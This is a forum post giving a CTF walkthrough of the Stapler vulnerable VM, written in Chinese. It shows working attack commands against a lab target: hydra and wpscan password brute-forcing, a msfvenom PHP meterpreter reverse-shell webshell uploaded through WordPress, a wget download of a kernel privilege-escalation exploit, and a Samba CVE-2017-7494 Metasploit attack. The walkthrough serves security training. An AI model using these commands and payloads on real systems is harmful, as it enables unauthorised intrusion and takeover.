首页
社区
课程
招聘
[原创]CTF实战篇(Stapler靶机)
发表于: 2020-11-25 12:40 8221

[原创]CTF实战篇(Stapler靶机)

2020-11-25 12:40
8221

@

目录
( )
*注:请严格遵守网络安全法,本文章以培养网络安全人才为核心。

 

*
Stapler 靶机

 

用户破解所需要的信息

1
2
3
我们先准备一个kali自带的密码破解字典文件
 
ls /usr/share/wordlists/rockyou.txt

第一种思路

我们先对靶机进行nmap扫描

1
root@rocky:~# nmap -sT -T4 -sV -p- 192.168.195.128

登录ftp获取信息

1
2
把收集的信息保存起来
root@rocky:~/work/exam/stabler# echo "Harry" >> user_stapler.txt
1
2
3
4
5
6
7
8
nmap -A -O -sV 192.168.195.128
ftp 客户端
Name (192.168.195.128:root): Anonymous (匿名登录)
get 下载
put 上传
 
echo "Elly" >> user_stapler.txt
echo "john" >> user_stapler.txt

尝试登录ssh收集零碎可用信息

 

ssh 192.168.195.128

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
User-agent: *
 
Disallow: /admin112233/
Disallow: /blogblog/
 
https://192.168.195.128:12380/robots.txt
 
ctrl + u 查看页面的源码
 
robots 协议 网络蜘蛛    robots.txt
 
        wordpress--构建个人博客常用的工具
Googol Wappalyzer--Web站点分析器 [谷歌浏览器的一个插件]
作业安装Wappalyzer插件(我将它下载到了Firefox)
#  https://www.wappalyzer.com/download/

我们来介绍一下Wpscan

wpscan是一个专门用来做web安全评估/漏洞扫描的工具

1
2
3
4
5
6
7
枚举wordpress版本
漏洞检测
列出wordpress插件
基于字典的密码破解
wpscan --url https://192.168.195.128:12380/blogblog/ --enumerate u --disable-tls-checks    指定扫描的网址
--enumerate u 枚举用户
--disable-tls-checks 禁用tls检查

wpscan枚举出的用户收集起来

1
2
3
创建wp_stapler.txt
把wpscan弹出的用户列表的东西复制到wp_stapler.txt里
grep '+' wp_stapler.txt | awk '{print $2}' >>stapler_user.txt   #把枚举的信息都收集

工具:enum4linux

Information gathering via shares (共享)

 

共享服务,使用SMB(服务器消息块)协议

 

用到的445,139端口

 

用于枚举Windows和samba主机中的数据

 

其枚举结果可能包含目标系统的用户帐号、组帐号、共享目录、密码策略等机密重要信息

1
enum4linux 192.168.195.128
1
2
3
创建文件1.txt
awk -F "\\" '{print $2}' 1.txt | awk '{print $1}' >>stapler_user.txt
#把信息保存合并在 stapler_user.txt

作业:你知道常见的samb服务相关的漏洞吗?

Nikto web扫描工具

1
2
3
4
5
6
7
8
开源的web扫描工具
可问题及对Web服务器做录遍历以及问题检查(是否有漏洞)
 
用法:
nikto -host http://192.168.195.128:12380
-host 指定扫描的主机
-nossl 不使用SSL
-o 指定输出的文件(可以把扫描的结果输出到指定文件)

暴力破解

使用自定义的对FTP口令进行暴力破解

 

实验环境准备:

 

1.kali

 

2.stapler--要能DHCP获取IP地址

 

3.准备好口令字典

1
2
/usr/share/wordlists/rockyou.txt
zcat rockyou.txt.gz > rockyou.txt # 解压命令输出到文件rockyou.txt

4 收集用户信息文件【ftp上有】 stapler_user.txt

 

5 工具目录 【mkdir -pv /root/work/exam/stapler】

 

实验用到的构建工具

 

hydra

 

​ 0x01介绍

 

​ Hydra v9.1(c) 2020 by van Hauser/THC & David Maciejak

 

​ 用户登录口令破解工具

 

​ 支持多种网络登录协议

 

​ 0x02 用法

 

hydra -h 查看帮助

 

-e nsr

 

-l 登录用户名

 

-L 登录用户文件

 

-P 口令文件

hydra

海德拉( hydra )是黑客组织thc的一款开源密码攻击工具

 

​ 用户登录口令破解工具 支持多种登录协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
n 空口令
s 用户名和登录密码一样
r 登录密码和用户名相反
-l 登录用户名
-L 登录用户文件
-P 指定字典文件
-t 同时运行的任务数(默认16个)
0x03 案例场景
root@rocky:~/work/exam/stabler#
hydra -e nsr -L stapler_user.txt 192.168.195.128 ftp  #随后就会根据字典破解ftp密码
hydra -e nsr -L stapler_user.txt 192.168.195.128 ssh -t 4      #获取ssh密码
#ftp登录后尽可能的获取靶机的更多信息
# 使用破解的用户ssh远程登录主机
root@rocky:~# ssh SHayslett@192.168.195.128
进入系统首先尝试提权,然后查看系统的版本,收集系统的信息
 sudo su -
 lsb_release -a
并对系统的版本信息进行漏洞查询

普通用户提权

利用Linux漏洞进行本地提权

1
2
3
4
5
uname -r   查看内核版本
4.4.0-21-generic # 内核发行版本信息
lsb_release -a    查看系统发行版本
SSH 和SSL的版本
ssh -V 查看ssh的版本信息
1
2
3
4
searchsploit ubuntu | grep "16.04"   #查找漏洞数据库
# 还可以在漏洞数据库查找漏洞
https://www.exploit-db.com/ ubuntu 16.04   #在漏洞库中进行查找
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip     # 找到db在kali中下载下来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
将漏洞用scp拷贝到靶机的普通用户中
scp 39772.zip SHayslett@192.168.195.128:~
通过scp把漏洞利用代码拷贝到远程主机SHayslett用户家目录下
scp:是ssh客户端的安全地远程复制
scp 源 目标
远程主机即可以是源,又可以是目标
远程主机的格式,用户名@远程主机地址:目录,如
SHayslett@192.168.195.128:~
SHayslett@red:~$ unzip 39772.zip  #在靶机中解压
cd 39772 进入解压后的目录
SHayslett@red:~/39772$ tar -xf exploit.tar 把包文件进行解压
进入到解压后的目录
compile.sh  doubleput.c  hello.c  suidhelper.c
compile.sh  #执行这个脚本
./doubleput
cd /root/    切换到root家目录
cat flag #获取flag旗标

第二种思路

破解HTTP登录口令

主题:对站点进行暴力破解

 

判断网站的cms对渗透又什么意义

 

查找网上已曝光的程序漏洞。

 

如果开源,还能下载相对应的源码进行代码审计。

利用已知的web应用漏洞渗透目标系统

wappalyzer 插件可以检测出cms信息

 

常用的cms(内容管理系统)系统:

1
2
3
4
wordpress
joomla
帝国
织梦

一个成熟相对安全的CMS,渗透时对站点进行目录扫描的意义?

 

敏感文件,二级目录扫描

 

站长的误操作比如:网站备份的压缩文件,说明.txt,二级目录可能存放着其他站点

 

对站点进行HTTP登录的暴力破解

1
2
3
wpscan --url https://192.168.195.128:12380/blogblog/ --enumerate u --disable-tls-checks #使用wpscan网站扫描 ! 仔细查看网站扫描信息!
并获取到其登录页面
 https://192.168.195.128:12380/blogblog/wp-login.php

0x01 收集用户信息

1
2
3
4
5
wpscan --url https://192.168.195.128:12380/blogblog/ --enumerate u --disable-tls-checks #用web扫描工具wpscan针对blog博客进行扫描
wpscan --url https://192.168.195.128:12380/blogblog/ -/usr/share/wordlists/rockyou.txt -t 50 --disable-tls-checks #破解用户口令
-P 指定字典文件
-t 指定同时运行的任务数
-U 指定破解的用户
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
为了加快演示
grep incorrect /usr/share/wordlists/rockyou.txt >wp_pass.txt
#可以在字典文件中再添加一些测试口令
 
root@kali3:~/work/exam/stapler# cat wp_pass.txt
xiaoxiao
123456
incorrect1
passisincorrect
incorrect0
incorrectpassword
incorrecto
incorrecta
incorrect9
incorrect2
incorrect!
incorrect
wpscan --url https://192.168.195.140:12380/blogblog/  --disable-tls-checks -U john -P wp_pass.txt -t 50 #指定破解用户john
 
john---高权限用户
密码:incorrect

利用权限高的john用户登录管理后台

 

通过安装新的插件功能来上传木马

 

0x01 生成一个具有反向连接的PHP木马程序

 

使用msfvenom 生成可执行程序,反向连接控制端,控制端可以时metasploit(msf) 平台或者其他服务程序

工具:msfvenom

使用msfvenom生成可执行程序,反向连接控制端,控制端可以是metasploit(msf)平台或者其它服务程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
msfvenom -p php/meterpreter/reverse_tcp lhost-192.168.195.77  lport=4444 -f raw -o webshell.php #执行程序生成木马
随后查看cat webshell.php
 
-p 选择一个载荷(payload),或者说一个模块。
-lhost 监听主机的地址--控制端(Kali的地址)
-lport 监听端口--控制端监听的端口
-l 载荷列表
-f 生成的文件格式
-e 编码方式
-i 编码次数
-b 在生成的程序中避免出现的值
-h 帮助
-o 指定生成的文件
 
msfvenom -# 查看支持的payload
msfvenom --list formats #查看所支持的格式
msfvenom -p php/meterpreter/reverse_tcp --list-options
//查看指定payload (php/meterpreter/reverse_tcp) 所支持的选项

设置后门程序

1
2
3
4
5
6
7
8
9
10
11
上传php后门程序
https://192.168.195.128:12380/blogblog/wp-content/uploads/
点击 webshell.php
 
在控制端(kali) 使用handler模块建立侦听的准备
创建反向连接
msf>use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.195.77
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit

运行一下webshell.php 就进入 Meterpreter并且得到普通用户的权限
在这里插入图片描述

1
python -c 'import pty;pty.spawn("/bin/bash")' #获取一个交互式的shell

lsb_release -a # 查看系统版本
uname -r #查看内核版本

 

在kali架设一个HTTP服务器,让远端系统拿到

1
python -m SimpleHTTPServer 8888

切换到一个可以写入的目录,如/tmp

 

wget http://192.168.195.77:8888/39772.zip #下载漏洞程序
在这里插入图片描述

1
2
3
4
5
6
tar xf exploit.tar  #解压利用tar包
ls
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
cd /root/ #进入根目录获取
1
cat flag.txt #查看flag

在这里插入图片描述拿到旗标

第三种思路

1
Samba smbd 3.X - 4.X  #开始检测出的samba版本漏洞 此版本有cve编号

漏洞利用
在这里插入图片描述

1
2
3
4
查找到2017年披露的可远程执行代码的漏洞
 
CVE:
2017-7494

open metasploit
在这里插入图片描述
在这里插入图片描述

1
use 0 调用攻击模块

在这里插入图片描述进入后记得配置对端IP地址与攻击端口 切记 攻击端口号一定要改为139

1
因为靶机samba服务开启的是139端口

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 3
支持
分享
最新回复 (7)
雪    币: 617
活跃值: (1331)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
2
web渗透与漏洞利用就不给大家看效果了,大家可以自己进入/root/中查看flag
2020-11-25 14:43
0
雪    币: 617
活跃值: (1331)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
3
渗透测试最重要的就是思路,大家一定要有自己的思路。
2020-11-25 14:44
0
雪    币: 617
活跃值: (1331)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
 如有疑问欢迎加入QQ群聊技术社区讨论:976870240
2020-11-26 14:48
0
雪    币: 617
活跃值: (1331)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
5
第三种思路exploit后进入/root/后能cat后直接获得flag
2020-11-28 13:30
0
雪    币: 1634
活跃值: (480)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
你的qq群正确吗?
2021-2-16 16:48
0
雪    币: 617
活跃值: (1331)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
7
wasdzjh 你的qq群正确吗?
那个群没有了
2021-2-17 16:27
0
雪    币: 617
活跃值: (1331)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
8
wasdzjh 你的qq群正确吗?
新的qq技术交流群号为109722417,可以进入,我们一起交流。
2021-2-17 16:40
0
游客
登录 | 注册 方可回帖
返回
//